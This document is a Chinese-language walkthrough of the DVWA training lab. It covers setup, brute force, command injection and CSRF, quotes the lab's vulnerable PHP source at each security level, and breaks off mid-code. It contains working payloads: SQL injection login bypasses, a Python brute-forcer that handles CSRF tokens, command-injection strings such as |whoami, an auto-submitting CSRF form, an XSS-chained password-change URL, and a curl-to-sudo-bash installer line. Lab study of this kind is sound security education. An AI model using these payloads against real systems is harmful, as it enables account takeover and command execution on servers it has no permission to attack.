靶场搭建
快速搭建:
bash
sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)"
docker:
bash
git clone https://wget.la/https://github.com/digininja/DVWA.git
apt install composer
cd DVWA
sed 's/127.0.0.1://g' compose.yml -i
cd vulnerabilities/api && composer install
sudo tee /etc/docker/daemon.json <<EOF
{
"registry-mirrors": [
"https://docker.1ms.run",
"https://dockerproxy.net",
"https://proxy.vvvv.ee",
"https://dockerproxy.link"
]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
docker-compose up -d
访问地址:http://Linux-IP:4280
bash
docker-compose down -v
docker ps -a
docker stop ID
docker rm ID
docker images
docker rmi ID
Brute Force
暴力破解(登录)
密码破解是从计算机系统中存储或传输的数据中恢复密码的过程。一种常见的方法是反复尝试猜测密码。
用户常常选择弱密码。不安全的选择包括字典中的单词、姓氏、过短的密码(通常认为少于6或7个字符)或可预测的模式(例如元音和辅音交替,即"leet"写法,比如将"password"改为"p@55w0rd")。
针对目标生成定制化的单词列表通常成功率最高。市面上有一些公开工具可以根据公司网站、个人社交网络和其他常见信息(如生日或毕业年份)生成字典。
最后的手段是尝试所有可能的密码,即暴力破解攻击。理论上,如果尝试次数没有限制,暴力破解总会成功,因为可接受密码的规则必须是公开的;但随着密码长度的增加,可能的密码组合数量也会激增,导致攻击时间更长。
目标:
你的目标是通过暴力破解获取管理员密码。如果能获取其他四个用户的密码,还能获得额外加分!
低级:
开发者完全忽略了任何防护措施,允许任何人无限次尝试登录任何用户账号,且没有任何后果。
中级:
这一阶段在登录失败页面增加了延迟。这意味着当你输入错误的登录信息时,页面会额外等待两秒才显示。
这只会降低每分钟可处理的请求量,从而延长暴力破解的时间。
高级:
使用了"反跨站请求伪造(CSRF)令牌"。有一种过时的误解认为这种防护可以阻止暴力破解攻击,但事实并非如此。此级别还扩展了中级的功能,在登录失败时会等待随机时间(2到4秒),目的是干扰时间预测。
使用验证码(CAPTCHA)表单可能产生类似CSRF令牌的效果。
不可能级别:
在"不可能"级别中,暴力破解(和用户枚举)应该是无法实现的。开发者添加了"锁定"功能:如果在过去15分钟内有5次错误登录,被锁定的用户将无法登录。
即使被锁定的用户尝试用正确密码登录,系统也会提示用户名或密码错误。这使得无法确认系统中是否存在该密码对应的有效账户,以及账户是否被锁定。
这可能导致"拒绝服务"(DoS)攻击,比如有人持续尝试登录某人的账户。此级别需要通过将攻击者加入黑名单(如IP地址、国家、用户代理)来进一步防护。
low
手工注入
输入DVWA默认管理员账号密码
admin
password

输入随机账号密码
nikorc
123456
报错信息
bash
Username and/or password incorrect.
输入正确的账号随机密码,报错信息一致,无法判断用户是否存在
一般执行的sql查询语句
mysql
SELECT * FROM `users` WHERE user = '' AND password = '';
如果已知用户名admin
那么输入admin'or 1='1
mysql
SELECT * FROM `users` WHERE user = 'admin'or 1='1' AND password = '';

使用万能密码**'or 1=1 #**

发现失败
此语句使得where部分永远为真
但理论上会查到所有用户,所以无法登录
那就做限制使只返回1条记录
改成**'or 1 = 1 limit 1 #**

'or 1 = 1 limit 1,1 # (从第2条开始取1条)

'OR 1 = 1 LIMIT 2,1 #

依此类推。。。
爆破
随机输入账号密码
抓包
发送到爆破模块

选择炸弹集群攻击
分别添加payload
第一个位置
第二个位置
设置遇到没有匹配到结果时暂停
同时设置"标记错误结果"
错误结果会被标记,没被标记的是正确结果
且在匹配正确后就暂停了,只不过爆破速度太快暂停时多爆破了一些
low.php
php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ]; //用户输入username
// Get password
$pass = $_GET[ 'password' ];//用户输入password
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //问题出在直接拼接SQL查询语句,且没有任何过滤
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
medium
medium.php
php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
此级别增加了登陆失败会延时2秒,会拖慢爆破速度,SQL注入也不行了,也没有锁定机制
爆破流程依旧差不多
high
抓包发现带了token,重放时会重定向
而之前的等级不会
这样没法像之前那样爆破,只能每次爆破换一次cookie,每一次提交都会有一个cookie
使用bp
抓包后直接发送到爆破模块,别放包
"grep-extract"设置中获取响应后直接选中token,直接点击"OK"
跟随重定向
选择Pitchfork攻击,分别填充密码和token两个位置的payload,第一个位置选择爆破字典,第二个位置递归提取

设置自动停止和匹配回显
爆破
python脚本
python
import requests
import re
from bs4 import BeautifulSoup
class bruteforcer:
def __init__(self, target_url, session_id):
self.base_url = target_url
self.session_id = session_id
self.session = requests.Session()
# 设置Cookie
self.session.cookies['PHPSESSID'] = session_id
self.session.cookies['security'] = 'high'
def get_token(self):
"""获取CSRF token"""
response = self.session.get(f"{self.base_url}/vulnerabilities/brute/")
print(f"获取token - HTTP状态码: {response.status_code}")
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'user_token'})
if token:
token_value = token.get('value')
print(f"token: {token_value}")
return token_value
else:
print("未找到token输入框")
# 打印页面标题用于调试
title = soup.find('title')
if title:
print(f"页面标题: {title.text}")
else:
print(f"HTTP请求失败")
return None
def try_login(self, username, password):
"""尝试使用给定的用户名和密码登录"""
token = self.get_token()
if not token:
print("无法获取token")
return False
data = {
'username': username,
'password': password,
'Login': 'Login',
'user_token': token
}
response = self.session.get(
f"{self.base_url}/vulnerabilities/brute/",
params=data
)
# 检查登录是否成功
return 'Welcome to the password protected area' in response.text
def main():
# 配置信息
target_url = "http://192.168.179.131:4280" # 修改为DVWA基础地址
session_id = "fac232edab95f5cc639bb9994dd6ed94" # session ID
# 创建爆破器实例
brute_forcer = bruteforcer(target_url, session_id)
# 读取用户名和密码字典
usernames = ['admin'] # 可以扩展用户名列表
with open('passwords.txt', 'r') as f: # 确保passwords.txt与脚本在同一目录
passwords = f.read().splitlines()
# 开始爆破
for username in usernames:
for password in passwords:
print(f"尝试: {username}:{password}")
if brute_forcer.try_login(username, password):
print(f"\n成功! 用户名: {username}, 密码: {password}")
return
if __name__ == "__main__":
main()
high.php
php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible
php
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
正如开头所说,此级别无法正常爆破,但是可以dos
借鉴:DVWA - 暴力破解通关 | lololowe 的博客
Command Injection
命令注入
命令注入攻击的目的是在存在漏洞的应用程序中注入并执行攻击者指定的命令。在这种情况下,执行非预期系统命令的应用程序就像一个伪系统外壳,攻击者可以像任何授权系统用户一样使用它。然而,这些命令的执行权限和环境与Web服务相同。
大多数情况下,命令注入攻击之所以可能发生,是因为缺乏正确的输入数据验证,攻击者可以操纵这些输入(如表单、Cookie、HTTP头等)。
根据操作系统的不同(如Linux和Windows),语法和命令可能会有所不同,具体取决于攻击者的目标操作。
这种攻击也可能被称为"远程命令执行(RCE)"。
目标:
通过RCE远程获取Web服务在操作系统上的用户信息以及机器的主机名。
低级:
这允许直接输入到多个PHP函数之一,这些函数将在操作系统上执行命令。有可能逃脱设计的命令并执行非预期的操作。
这可以通过在请求中添加"一旦命令成功执行,就运行此命令"来实现。
提示:添加命令使用"&&"。例如:127.0.0.1 && dir。
中级:
开发者已经了解了一些命令注入的问题,并在输入中加入了各种模式匹配以进行过滤。然而,这还不够。
可以使用其他各种系统语法来逃脱预期的命令。
提示:例如,将ping命令放到后台执行。
高级:
在高级别中,开发者重新审视设计并加入了更多的模式匹配。但即便如此仍不足够。
开发者在过滤器中可能犯了一个小错误,并认为某个PHP命令可以弥补这个错误。
提示:trim()函数会移除所有前导和尾随空格,对吧?
不可能级别:
在不可能级别中,挑战已被重新编写,仅允许非常严格的输入。如果输入不匹配或不产生特定结果,则不允许执行。这不再是"黑名单"过滤(允许任何输入并移除不需要的),而是使用"白名单"(仅允许特定值)。
web应用程序危险函数
php
1.PHP 危险函数
system()- 执行外部程序并显示输出
exec()- 执行外部程序
passthru()- 执行外部程序并显示原始输出
shell_exec()- 通过 shell 执行命令并返回完整输出
popen()/ proc_open()- 进程管道操作
backtick operator (``)- 反引号执行命令
eval()- 执行字符串作为 PHP 代码
2. Python 危险函数
os.system()
os.popen()
subprocess.run()/ subprocess.Popen()(如果 shell=True)
eval()(可能导致代码执行)
pickle.load()(反序列化漏洞可能导致 RCE)
3. Java 危险函数
Runtime.getRuntime().exec()
ProcessBuilder.start()
反序列化漏洞(如 ObjectInputStream.readObject())
4. Node.js 危险函数
child_process.exec()
child_process.execSync()
child_process.spawn()(如果参数未正确过滤)
eval()/ Function()(动态代码执行)
5. Shell 脚本危险操作
直接拼接用户输入:
ping $USER_INPUT
使用 eval:
eval "$USER_INPUT"
perl
一、PHP 中的危险变量
1. 超全局变量(用户输入来源)
$_GET- URL 参数(?key=value)
$_POST- HTTP POST 表单数据
$_REQUEST- 混合 $_GET+ $_POST+ $_COOKIE
$_COOKIE- 客户端 Cookie 数据
$_SERVER- 服务器和环境变量(部分字段可被伪造)
危险字段举例:
$_SERVER['HTTP_USER_AGENT'](可伪造)
$_SERVER['HTTP_REFERER'](可伪造)
$_SERVER['PHP_SELF'](可能引发 XSS)
2. 文件上传相关
$_FILES- 上传文件信息
风险:未验证文件类型可能导致恶意文件上传(如 .php文件)。
3. 反序列化相关
$_SESSION- 如果存储了不可信数据并反序列化,可能导致 RCE(如 PHP 对象注入)。
二、其他语言中的危险变量
1. Python(Web 框架)
request.args/ request.query_string(Flask:GET 参数)
request.form(POST 表单数据)
request.cookies(Cookie 数据)
request.headers(可伪造的请求头)
os.environ(环境变量,可能泄露敏感信息)
2. Node.js(Express)
req.query(GET 参数)
req.body(POST 数据)
req.cookies(Cookie 数据)
req.headers(请求头)
3. Java(Servlet)
request.getParameter()(GET/POST 参数)
request.getCookies()
request.getHeader()
三、系统环境变量
环境变量(如 PATH、LD_PRELOAD)
风险:攻击者可能通过修改环境变量劫持程序行为(如 PATH注入)。
sh
复制
# 恶意示例
export PATH=/tmp/evil:$PATH
配置文件变量(如 .env、config.php)
风险:硬编码密码或密钥可能被泄露。
四、前端危险变量(XSS 相关)
window.location.href/ document.URL(可能包含恶意片段)
document.cookie(未转义输出会导致 Cookie 窃取)
localStorage/ sessionStorage(存储未过滤的数据)
五、防御原则
永远不信任用户输入
所有来自客户端(GET/POST/Headers/Cookies)的数据均需验证。
使用白名单而非黑名单
例如,只允许 [a-zA-Z0-9]字符,而非尝试过滤 ;、|等危险符号。
上下文相关转义
SQL 输入 → 使用预处理语句(如 PDO)
Shell 命令 → 用 escapeshellarg()
HTML 输出 → 用 htmlspecialchars()
禁用危险功能
PHP:disable_functions = "system,exec,passthru"
Python:避免 eval()、pickle.load()
最小权限原则
Web 服务器进程不应以 root权限运行。
| 逻辑运算符 | CMD (Windows 命令提示符) | PowerShell (Windows 进阶命令行) | Bash Shell (Linux/Unix) | ||
|---|---|---|---|---|---|
&& |
前一个命令成功,则执行下一个命令 | / | 前一个命令成功,则执行下一个命令 | ||
| ` | ` | 前一个命令失败,则执行下一个命令 | / | 前一个命令失败,则执行下一个命令 | |
& |
同时执行多个命令 | / | 将前一个命令放到后台执行,无论是否成功执行,都继续执行下一个命令 | ||
| ` | ` | 通过管道将前一个命令的输出传递给下一个命令 | 通过管道将前一个命令的输出传递给下一个命令 | 通过管道将前一个命令的输出传递给下一个命令 | |
! |
查询历史命令 | 逻辑非 | 执行历史命令 | ||
; |
分隔多个命令 | 顺序执行多个命令 | 顺序执行多个命令 | ||
-and |
/ | 逻辑与 | / | ||
-or |
/ | 逻辑或 | / | ||
-not |
/ | 逻辑非 | / |
Low
low.php
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以发现毫无过滤,直接拼接输入,初步判断系统
输入127.0.0.1
| 收到的 TTL 值 | 初始 TTL 可能为 | 最可能对应的操作系统 |
|---|---|---|
| 接近 64 (如 55-64) | 64 | Linux, Unix, macOS, 以及大多数基于BSD的系统 |
| 接近 128 (如 110-128) | 128 | Microsoft Windows 系列 |
| 接近 255 (如 240-255) | 255 | 一些网络设备(如路由器、交换机),以及某些Unix变体或旧的SunOS系统 |
我们判断的依据是数据包的初始TTL值 。数据包每经过一个路由器,TTL值就会减1。所以我们收到的是剩余TTL。上表中"收到的TTL值"是考虑了经过若干跳网络设备后的常见范围。不完全准确,可以使用其他扫描工具。。。
或者通过插件
输入|whoami、;whoami、||whoami、&whoami、 127.0.0.1&&whoami
管道符将ping -c 4的输出通过管道符"|"传递给后一个命令,但whoami不接受输入,所以会忽略前一个命令的输入,在前一个命令执行的时候同时执行,最后只输出whoami的结果
;会将之前的命令隔开,分成两个命令,||前的命令执行失败后执行后面的命令,&会将前面的命令放入后台执行,后面的放在前台执行,&&前的命令执行成功后才会执行后面的命令

参考:深入理解Linux命令尾部的&、&&、|、||、;、()、&>、2>&1的用法和区别-百度开发者中心
medium
medium.php
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以发现使用str_replace()函数过滤 "&&"、";"
剩下的|whoami、&whoami、||whoami依旧能执行
high
high.php
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'||' => '',
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
对比前两关,特别增加了trim()函数,过滤的字符也更多
trim()默认会去除字符串开头和结尾的"空白类不可见字符",包括:
- 普通空格
" " - 制表符
"\t" - 换行
"\n" - 回车
"\r" - 空字节
"\0" - 垂直制表符
"\x0B" - 换页符
"\x0C"
但过滤的字符第4个多了个空格" '| ' "
|whoami依旧能用
impossible
impossible.php
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
target是由4个数字用"."拼接在一起
stripslashes()去除用户输入的字符串中的\
explode( ".", $target )以 '.' 为分隔符分割输入的字符串
is_numeric()会判断是否为整数
整个判断语句不仅判断数组元素是否为整数,还要看元素个数是否为4
所以想恶意输入几乎不可能
借鉴:DVWA - 命令注入通关 | lololowe 的博客
CSRF
跨站请求伪造(CSRF)
CSRF是一种攻击手段,迫使已认证的终端用户在当前登录的Web应用中执行非预期的操作。通过简单的社会工程(如通过邮件/聊天发送链接),攻击者可以诱骗Web应用的用户执行其指定的操作。
成功的CSRF攻击可能危及普通用户的账户数据与操作。若目标用户是管理员账户,则可能危及整个Web应用的安全。
此类攻击也被称为"XSRF",类似于"跨站脚本攻击(XSS)",且常被组合使用。
目标:
你的任务是利用CSRF攻击,在用户不知情的情况下迫使其修改自己的密码。
低级难度:
该级别未部署任何防护措施。这意味着可通过构造特定链接(例如修改当前用户密码的请求),再结合基础社会工程诱导目标点击链接(或访问特定页面)触发操作。
提示:
?password_new=password&password_conf=password&Change=Change中级难度:
此级别会检查上一请求页面的来源域名。开发者认为若来源与当前域名匹配,则视为可信请求。
可能需要结合其他漏洞(如反射型XSS)实施攻击。
高级难度:
此级别添加了"反CSRF令牌"机制。需利用其他漏洞绕过该防护措施。
提示:例如客户端浏览器执行的JavaScript代码。
附加挑战:
此级别支持以JSON格式提交密码修改请求,格式如下:
json{"password_new":"a","password_conf":"a","Change":1}此时需将CSRF令牌通过
user-token请求头传递。示例请求:
bashPOST /vulnerabilities/csrf/ HTTP/1.1 Host: dvwa.test Content-Length: 51 Content-Type: application/json Cookie: PHPSESSID=0hr9ikmo07thlcvjv3u3pkfeni; security=high user-token: 026d0caed93471b507ed460ebddbd096 {"password_new":"a","password_conf":"a","Change":1}不可能难度:
此级别要求用户同时提供当前密码和新密码。由于攻击者无法获知当前密码,可有效防御CSRF攻击。
low
low.php
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
发现仅判断GET方法传入的参数是否相等
可以发现没有确认原密码
当输入并修改时,成功修改且发现url传入参数
ruby
http://192.168.179.131:4280/vulnerabilities/csrf/?password_new=&password_conf=&Change=Change#
直接访问此url
ruby
http://192.168.179.131:4280/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
或者使用burp生成CSRFpoc

通过burpsuit代理访问该网址
修改成功
或者"复制HTML",保存在搭建的网站根目录
html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.179.131:4280/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="" />
<input type="hidden" name="password_conf" value="" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
访问http://localhost/csrf.html
验证修改后的密码
medium
medium.php
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
相较low等级多了验证referer,可以结合XSS:<img src="http://192.168.179.131:4280/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change" />#
url编码:
perl
http://192.168.179.131:4280/vulnerabilities/xss_r/?name=%3Cimg+src%3D%22http%3A%2F%2F192.168.179.131%3A4280%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3D1234%26password_conf%3D1234%26Change%3DChange%22+%2F%3E#
验证结果
high
high.php
php
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
